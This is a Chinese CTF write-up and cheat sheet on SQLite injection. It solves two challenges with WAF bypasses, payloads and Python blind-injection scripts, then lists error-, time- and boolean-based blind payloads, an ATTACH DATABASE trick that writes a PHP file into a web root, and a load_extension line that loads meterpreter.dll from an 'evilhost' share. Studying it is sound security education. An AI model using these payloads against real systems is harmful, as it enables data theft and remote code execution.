CTF中的SQLite总结Cheat Sheet

 

0x01 前言

几次比赛都遇到了 SQLite 注入的题目,所以想来具体总结一下 SQLite 到底有哪些利用点,并整理出一张 Cheat Sheet。行文如有不当,还请师傅们在评论区留言捉虫,不甚感激。

 

0x02 初识

简介

SQLite 是一个嵌入式 SQL 数据库引擎。与大多数其他 SQL 数据库不同,SQLite 没有独立的服务器进程。SQLite 直接读写普通磁盘文件。一个包含多个表、索引、触发器和视图的完整 SQL 数据库包含在一个磁盘文件中,但也因为轻型,所以不可避免的有一些安全隐患,比如数据库下载,有固定/默认数据库名/地址的问题,可下载造成安全威胁。

数据库判别

拿到一个环境首先做的应该是后端数据库的判别。

以下列出的是可供判别后端数据库的函数,在同一行并不意味着功能相同:

MYSQL SQLite
@@version / version() sqlite_version()
connection_id() last_insert_rowid()
last_insert_id() strftime(‘%s’,’now’);
row_count() .
crc32(‘MySQL’) .
BINARY_CHECKSUM(123) .

 

0x03 题解

接下来通过两道题来理解 SQLite 的一些特性,方便我们后面总结 Cheat Sheet:

phpNantokaAdmin

路由 index、create、insert、delete ,功能对应显示、创建表、插入数据、删表。

先看有关 flag 的信息:

$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
$pdo->query($sql);

这是源码中创建完用户自定义的表后,使用 config.php 中定义好了的 FLAG_TABLEFLAG_COLUMNFLAG 三个常量创建表,作为我们的 target

$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");

当然,它不会就这么简单地显示在 index 页面中。

我们要做的就是通过自定义表利用可控变量达到注出 FLAG_TABLE 数据的目的。

index.php

  $table_name = (string) $_POST['table_name'];
  $columns = $_POST['columns'];
  //sqlite 创建表语句 sqlite3 database_name.db
  $filename = bin2hex(random_bytes(16)) . '.db';
  $pdo = new PDO('sqlite:db/' . $filename);

  if (!is_valid($table_name)) {
    flash('Table name contains dangerous characters.');
  }
  if (strlen($table_name) < 4 || 32 < strlen($table_name)) {
    flash('Table name must be 4-32 characters.');
  }
  if (count($columns) <= 0 || 10 < count($columns)) {
    flash('Number of columns is up to 10.');
  }

  $sql = "CREATE TABLE {$table_name} (";
  $sql .= "dummy1 TEXT, dummy2 TEXT";
  for ($i = 0; $i < count($columns); $i++) {
    $column = (string) ($columns[$i]['name'] ?? '');
    $type = (string) ($columns[$i]['type'] ?? '');

    if (!is_valid($column) || !is_valid($type)) {
      flash('Column name or type contains dangerous characters.');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('Column name and type must be 1-32 characters.');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

表名和列名、列属性都是我们可控的,SQL 语句拼接如下:

CREATE TABLE {$table_name} (dummy1 TEXT, dummy2 TEXT, `$column` $type);

utils.php waf

function is_valid($string) {
  $banword = [
    // comment out, calling function...
    "[\"#'()*,\\/\\\\`-]"
  ];
  $regexp = '/' . implode('|', $banword) . '/i';

  //正则表达式:/["#'()*,\/\\`-]/i
  if (preg_match($regexp, $string)) {
    return false;
  }
  return true;

要想绕过,首先介绍 SQLite 的几个特性:

SQLite Keywords

SQLite 中使用关键字作为名称,有四种引用方法:

括在方括号中的关键字是标识符。这不是标准的 SQL。MS access 和 SQL server 使用这种引用机制,SQLite 中包含这种引用机制是为了兼容。

既然正则中所有引号都有匹配,我们可以使用 [] 括关键字进行绕过,并可用它来注释,代替 --

MYSQL 中有 information_schema 这样的系统表方便注入查询,而 SQLite 有无?

sqlite_master

每个 SQLite 数据库都包含一个“模式表” ,用于存储该数据库的模式。数据库的模式是对数据库中包含的所有其他表、索引、触发器和视图的描述。模式表如下所示:

其中 sql 字段的含义:

Sqlite _ schema.SQL 列存储描述对象的 SQL 文本。此 SQL 文本是 CREATE TABLE、 CREATE VIRTUAL TABLE、 CREATE INDEX、 CREATE VIEW 或 CREATE TRIGGER 语句,如果在数据库文件为数据库连接的主数据库时对其进行计算,则将重新创建该对象。文本通常是用于创建对象的原始语句的副本。

换而言之,我们可以通过查询 sqlite_master 中的 sql 知晓 FLAG_TABLE 创建时的语句,获取到其表名和列名。

综上,我们所要利用的有两张表,这就需要能操作两张表的,与 create table 有关的用法。

CREATE TABLE … AS SELECT Statements

“ CREATE TABLE… AS SELECT” 语句基于 SELECT 语句的结果创建并填充数据库表。该表的列数与 SELECT 语句返回的行数相同。每个列的名称与 SELECT 语句的结果集中相应列的名称相同。每个列的声明类型由 SELECT 语句结果集中相应表达式的表达式亲和类型确定。

使用 create table as 创建的表最初由 SELECT 语句返回的数据行填充。按照 SELECT 语句返回行的顺序,以连续升序的 rowid 值 (从1开始) 进行分配。

由上,也就是说,我们能这样构造语句:

CREATE TABLE landv as select sql [(dummy1 TEXT, dummy2 TEXT, `whatever you want` ] from sqlite_master;);
--前面说过,[] 可用作注释,也就是说,上面语句等价为
CREATE TABLE landv as select sql from sqlite_master;
--landv 这张由用户创建的表就会被 select 语句返回的数据行填充

payload1:

//路由 create 下 post
table_name=landv as select sql [&columns[0][name]=abc&columns[0][type]=] from sqlite_master;

返回填充的第一行就是我们查出来的创建 FLAG_TABLE 的原始语句,同理,我们可以借此查出 flag 。

payload2:

//路由 create 下 post
table_name=landv as select flag_2a2d04c3 [&columns[0][name]=abc&columns[0][type]=] from flag_bf1811da;

这道题主要是面向创表过程中可能的注入,但实际中运用得少(没有权限),接下来我们看整体。

Sqlite Voting

给了数据库文件和部分源码。

vote.php

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

// waf
function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
  die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
  die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// N.B
// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
  'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

schema.sql (actual flag is removed)

DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
  `id` INTEGER PRIMARY KEY AUTOINCREMENT,
  `name` TEXT NOT NULL,
  `count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
  ('dog', 0),
  ('cat', 0),
  ('zebra', 0),
  ('koala', 0);

DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
  `flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');

过滤非常严格。

这道题的 SQL 语句是 update vote 表中的 count 自增,并且还会有更新是否成功的回显:

if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}

从这基本可以确定是盲注了(从上面的 banword 也可以猜测),接下来我们需要的是故意使其报错,以便我们判断盲注是否正确。

基于错误的 SQLite 盲注

可供制造错误的函数

通过参考 SQLite 官方手册的内置函数

我们找到了以下几个函数故意制造错误:

load_extension(x)load_extension(x,y)

load_extension(x,y) 函数使用入口点 y 从名为 x 的共享库文件中加载 SQLite 扩展。load_extension () 的结果总是 NULL 。如果省略 y,则使用默认的入口点名称。如果扩展未能正确加载或初始化,则 load _ extension() 函数引发异常

这个函数可以加载动态库,如 windows 的 dll ,linux 的 so ,换言之,我们可以利用其进行远程命令执行,这可以参考这篇 利用这个函数反弹 shell 的博客。

abs(x)

返回数值参数 x 的绝对值,如果 x 为 NULL,则 abs(x) 返回 NULL。如果 x 是不能转换为数值的字符串或 blob,则 Abs (x) 返回0.0 。如果 x 是整数 -922337203685475808,那么 abs (x) 抛出一个整数溢出错误

0x8000000000000000 为 -922337203685475808 的十六进制形式。

sum(x)

返回一组中所有非空值的数值总和。如果所有输入都是整数或者 NULL,在结果溢出时,sum(x) 将抛出一个“整数溢出”异常

ntile(n)

参数 n 被作为整数处理。这个函数将分区尽可能平均地划分为 n 组,并按 ORDER BY 子句定义的顺序或其他任意顺序将1到 n 之间的整数分配给每个组。如果有必要,会首先出现更大的组。此函数返回分配给当前行所属组的整数值。同上也是整数溢出。

这里明显只能用整数溢出。

最朴素的盲注,是用 substr 和 ord 配合使用进行判断,但这里明显对其进行了限制,而且最重要的是,我们既不能用字符(引号被过滤),也不能用 ascii 码判断( char 被过滤),那么我们到底要怎么才能判断每一位是否正确呢?

利用长度变化的盲注

出题人 st98 师傅 是利用 replace 来判断是否正确:

replace(x,y,z)

replace (x,y,z) 函数返回一个字符串,这个字符串是用字符串 z 替换字符串 x 中每个字符串 y 而形成的。BINARY 排序序列用于比较。如果 y 是一个空字符串,那么返回 x 不变。如果 z 最初不是字符串,则在处理之前将其强制转换为 UTF-8字符串。

简而言之,设 flag 为 flag{landv01} ,长度为 13 。

长度变为了 9 ,是因 flag 中的 flag 四位被替换为空。

所以我们可以利用长度的变化来判断是否正确。


下面是我对利用长度变化进行盲注的一些扩展:

实际上,我还找到了 trim(x,y) 企图达到与 replace 一样的效果:

但当测试包含 { 时,trim(x,y) 的回显为什么却是 6 ?

结合官方文档的解释,trim(x,y) 函数返回一个字符串,该字符串由删除 X 两端出现在 Y 中的任何和所有字符组成

如果省略了 Y 参数,trim(x) 将删除 X 两端的空格(这是最常用的用法)

也就是说,如果 y 是 flag{ ,那么 flala 这样的组合都会被删掉,所以并不能用于判断是否正确,虽说你可以一直寻找直至长度变化( ltrim() 这里是删除 x 左端):

虽说在 SQLite trim() 不能很有效地判断,但在 Oracle 中是可行的:

“如果您指定了 LEADING,那么 Oracle 数据库将删除所有等于 trim _ character 的前导字符。”

length(trim(leading 'f' from flag))

上述语句可在 Oracle 中用于判断。

现在我们报错和判断正确的手段都有了,就要考虑特殊字符的绕过。

一堆限制,就用 hex 编码来进行绕过,因为一些比较的运算符都被 ban 了,我们利用位运算符代替:

以下脚本来自出题人师傅博客。

首先考虑 flag 长度的判断。

abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

最外围我们用 abs() 抛出整数溢出的错误。

其中用 case 计算表达式,flag 长度与 {1<<n} 按位相与:

length(hex((select(flag)from(flag))))  &  {1<<n}

{1<<n} 也就是 2 的 n 次方,相与的作用只是为了把和 flag 长度(二进制)为 1 的部分记录下来,可想而知,一直从 1 循环到 n 为 16 ,我们把所有 1 都记录下来后,flag 的长度也就自然得出了。

# フラグの長さを特定
l = 0
i = 0
for j in range(16):
  r = requests.post(URL, data={
    'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
  })
  if b'An error occurred' in r.content:
    l |= 1 << j
print('[+] length:', l)

然后就是比对 hex 编码,0123456789 都能正常运用,但像 abcdef 就又要用到引号。

解法一 利用 trim + hex 删除构造字符

而上面我们不是提到 trim() 这个无差别,所有组合都会删除的函数吗,只要我们能构造出只有一个字母例如 A 的 hex 值,把全部数字删除,那不就得到 A 了吗?

如下,我们利用表中的数据和特殊函数的返回值来构造相应字符。

table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' 
# 'zebra' → '7A65627261'
# trim 删除 1,2,5,6,7 后只剩下了 A ,以下同理
table['C'] = 'trim(hex(typeof(.1)),12567)' 
# 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)' 
# 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)' 
# 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' 
# 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' 
# 'koala' → '6B6F616C61'
# || 是连接符,第二项的意思是 16||C||F ,也就是利用 trim 删除 1,6,C,F

接下来就是判断每一位字符了:

# フラグをゲット!

# 这里是已知 flag 格式为 HarekazeCTF{ ,我们对其 hex 编码,接下来只需要盲注后面的字符
res = binascii.hexlify(b'HarekazeCTF{').decode().upper()
for i in range(len(res), l):
  for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    r = requests.post(URL, data={
      'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
      res += x
      break
  print(f'[+] flag ({i}/{l}): {res}')
  i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

trim(0,0) 实际上就是空,l 是 flag 的长度,t 是我们每次进行测试的字符串(如果有字符被确定了,就会被连接 ||t )。

实际上,发送的请求是这样的:

abs(case(
replace(
length(replace(hex((select(flag)from(flag))),test_data,''))    # 这里进行替换和获取长度
,flag_length,'')                                               # 第二个 replace 判断长度是否变化
)when('')then(0)else(0x8000000000000000)end)

如果长度变化了就会报错,那么就是测试的字符是有的,被添加进 res ,再十六进制转字符就 getflag 了。

解法二 双重 hex 编码删除字母

解法一是费了很大劲去构造出 abcdef 的,但我们可以直接双重编码,仅用数字来进行判断。

abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000))

ifnull 返回两个参数中不为 0 的数,nullif 两个参数相同返回 NULL ,不同返回第一个参数。

换言之,以上 payload 在做的就是遍历 $LENGTH$ 找到与 flag 长度相等的数。

得到了长度,我们同样面临构造特数字符的问题,这里用了双重 hex 编码,编码后 flag 的长度即上面的 4 倍。

4 倍长度的 hex 纯数字编码会被用科学计数法表示,但我们可以用上面用到的 || 来进行连接,由这我们可以得到 payload:

abs(ifnull(nullif(max(hex(hex((SELECT(flag)from(flag)))),$NUMBER$),$NUMBER$),0x8000000000000000))

所以便可遍历 4 倍长度的 $NUMBER$ ,利用 max 得到双重编码后的 flag ,双重解码后即可。

 

0x04 Cheat Sheet

下面结合题解直接来总结一张 Cheat Sheet,其中部分来源于外网部分来源于自我总结。
因为表格 md 语法的问题,双竖线代替 || :

name syntax description
注释 1
注释 2 /**/
注释 3 []
IF 语句 CASE WHEN
连接符 双竖线
截取子串 substr(x,y,z)
获取长度 length(stuff)
获取版本信息 select sqlite_version();
获取表名 SELECT tbl_name FROM sqlite_master;
获取列名 SELECT sql FROM sqlite_master;
基于错误的盲注 1 abs(case(xxx)when(xxx)then(0)else(0x8000000000000000)end) 判断字符,abs 可由 sum 、ntile 等函数替换,case 计算的表达式可用如 replace(length(replace(x,y,z)),y,z) 这样利用长度变化判断
基于错误的盲注 2 abs(case(length(xxx)&{1<<n})when(0)then(0)else(0x8000000000000000)end) 获取长度,需要脚本配合,n:1~16
基于错误的盲注 3 abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000)) 获取长度,通过遍历
生成单引号 1 select cast(X’27’ as text);
生成单引号 2 select substr(quote(hex(0)),1,1); quote:返回SQL文字的文本,该文本是其参数的值,适合包含在SQL语句中。字符串由单引号包围。
生成双引号 select cast(X’22’ as text);
基于时间的盲注 1’ AND [RANDNUM]=LIKE(‘ABCDEFG’, UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 供判断注入,RANDOMBLOB()函数生成指定长度的随机字符串。当这个长度足够大的时候就会让服务器产生明显的延迟。这样就可以判断语句的执行成功与否,这同时也是通用的注入 payload 。实际上,AND 后面的表达式计算出来是 0 。
布尔盲注 1 and (SELECT count(tblname) FROM sqlite_master WHERE type=’table’ and tbl_name NOT like ‘sqlite%’ ) < number_of_table 获得表的个数
布尔盲注 2 and (SELECT length(tblname) FROM sqlite_master WHERE type=’table’ and tbl_name not like ‘sqlite%’ limit 1 offset 0)=table_name_length_number 列举表名
布尔盲注 3 and (SELECT hex(substr(tblname,1,1)) FROM sqlite_master WHERE type=’table’ and tbl_name NOT like ‘sqlite%’ limit 1 offset 0) > hex(‘some_char’) 获得数据
文件写入 1’;ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;— 需要堆叠查询对应配置开启
代码执行 UNION SELECT 1,load_extension(‘\evilhost\evilshare\meterpreter.dll’,’DllMain’);— 具体使用可以看上面介绍给出的链接,默认情况下这个函数是禁用的。

 

0x05 参考

https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet

https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf

(完)